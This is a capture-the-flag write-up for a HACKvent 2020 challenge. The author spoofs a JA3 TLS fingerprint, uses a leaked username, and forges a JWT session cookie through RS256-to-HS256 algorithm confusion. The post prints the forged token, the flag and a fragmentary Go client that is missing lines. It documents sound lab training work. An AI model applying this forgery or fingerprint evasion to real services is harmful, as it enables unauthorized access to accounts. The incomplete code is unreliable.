## HACKvent 2020 - Day 17

01-01-2021 - 3 minutes, 57 seconds -

Challenge - Santa's Gift Factory Control

Santa has a customized remote control panel for his gift factory at the north pole. Only clients with the following fingerprint seem to be able to connect:

771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0

Mission: Connect to Santa's super-secret control panel and circumvent its access controls.

Santa's Control Panel (Link is likely down now!)

Hints:

• If you get a 403 forbidden: this is part of the challenge
• The remote control panel does client fingerprinting
• There is an information leak somewhere which you need to solve the challenge
• The challenge is not solvable using brute force or injection vulnerabilities
• Newlines matter, check your files

## Solution

Opening the link to Santa's Control Panel yielded 4403 forbidden with no further information. So the fingerprinting stuff was crucial. But what fingerprint? After a bit internet research it became clear that its a JA3 fingerprint for the TLS client hello message. To be more specific various fields from this message. For example the TLS version and supported cipher suites.

### TLS Fingerprinting

First idea was to compile my own OpenSSL and go from there, but then I discovered that there is a library available for impersonation. I had to set up Go for this and deal with dependency bullshit but got it running quite fast.

The given fingerprint meant something like this:

771 = 0x303 = TLS 1.2 (SSL Version)
49162 = C00A = Cipher Suite TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
49161 = C009 = Cipher Suite TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
52393 = CCA9 = Cipher Suite TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
49200 = C030 = Cipher Suite TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
...

For more info see the ja3 description. Cipher suite numbers can be looked up at IANA. I didn’t have to bother too much as the impersonation library takes the fingerprint and configures itself accordingly. Was no trouble at all.

After requesting the admin panel over the impersonated connection, I got a basic login page instead of an error. Here I was stuck for a while, out of ideas. Brute forcing and more importantly injection were not a thing according to the challenge hints. My guessed login with "santa" / "santa" credentials also gave nothing. After the hint of a friendly peer called "HaCk0", I tried "admin" / "admin". This time the response contained a comment in the HTML and a cookie:

<!--DevNotice: User santa seems broken. Temporarily use santa1337.-->
{Scheme:https Opaque: User: Host:876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land Path:/login RawPath: ForceQuery:false RawQuery: Fragment: RawFragment:} - [session=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJleHAiOjE2MDgyNDA4NTUsImlhdCI6MTYwODIzNzI1NSwic3ViIjoibm9uZSJ9.L_3iZLU61UJerXUh_5iyeHFbsJxdjhI2n1-rIEu2jhWTUA6_FIHHIQ_25Tx4MsJ0BgNBon26fGE45yEen0JRrjIhLFz2di_toF5jT31hmwn_485n8iERrv5YmjypapzHoZ3CPVXhV9TiRHuXA6CGfs7-_aFV1eJR1tDDmozRCrHa7lD9MS4M-vVez8VvpbzQDEtoT7rBAfHM_ZeVyC0En7N9l6Uxccil1OV6hWbNauAg1_w71IrBb2R8lLKiX1AK1UPZzYLEwH0RMCEisjMRm6hUu4xxNzRdxC2OOPAA41bG4XIvqH65fkyRa57B83ZVsl_S5QLBv-XcNzboikWsxg; Path=/]

Experienced people will recognize above text as JWT token immediately, others will have to decode the base64 strings first.

### JWT Token Forging

I suspected for a while that I might get an active session cookie for the santa user somehow. This was only an inactive and anonymous one ("sub":"none"), so more work had to be done. The base64 decoded header and payload:

{"typ":"JWT","alg":"RS256","kid":"/keys/1d21a9f945"}
{"exp":1608240855,"iat":1608237255,"sub":"none"}

You can see we are dealing with an asymmetrical signature ("alg":"RS256"), but what can you do? First, we downloaded the public key from /keys/1d21a9f945. Turns out its quite short. Recovering the private key was thus an idea, we did some research first however.

Good thing there are articles out there explaining some attack vectors:

• see if the server skips signature validation if we tell him to
• see if a key can be recovered from the signature
• see if the server will validate the signature with an arbitrary symmetric key

Since we got an asymmetric signed payload (RS256), option 2 was already extra hard if not impossible so we went with option 1 and 3 first.

Daniel prepared option 3. He changed the algorithm to HS256 and used the public key for signing, in the hope the server would evaluate "kid":"/keys/1d21a9f945" and use it as well. In the meantime I tried option 1, but without success. When Daniel was done, I set the forged token as cookie in my Go program and requested the site again. The forged token, with "alg":"HS256" and "sub":"santa1337"

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJpYXQiOiIxNjA4MjQxNTQ5IiwiZXhwIjoiMTYwODI0NTE0OSIsInN1YiI6InNhbnRhMTMzNyJ9.QdiiL_CVB5CBh92k9790IWZc7W_9kAti7ckrfMZb23g

And indeed, the token worked and we got in. No login dialog. We were presented a basic control panel, but more importantly, in the HTML somewhere, the flag: HV20{ja3_h45h_1mp3r50n4710n_15_fun}

Finally, the code. It's not pretty, since I don't use Go:

func main() {

// custom transport for JA3 impersonation
tr, _ := ja3transport.NewTransport("771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0")

// class i c&p'd from somewhere because std libs cookie jar is crippled
jar: realJar,
}

// forged JWT token
Name: "session",
Value: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJpYXQiOiIxNjA4MjQxNTQ5IiwiZXhwIjoiMTYwODI0NTE0OSIsInN1YiI6InNhbnRhMTMzNyJ9.QdiiL_CVB5CBh92k9790IWZc7W_9kAti7ckrfMZb23g",
}

// do request
client := &http.Client{Transport: tr, Jar: jar}
resp, err := client.Get("https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/")
if err != nil {
fmt.Println(err)
}

// dump response
defer resp.Body.Close()
}`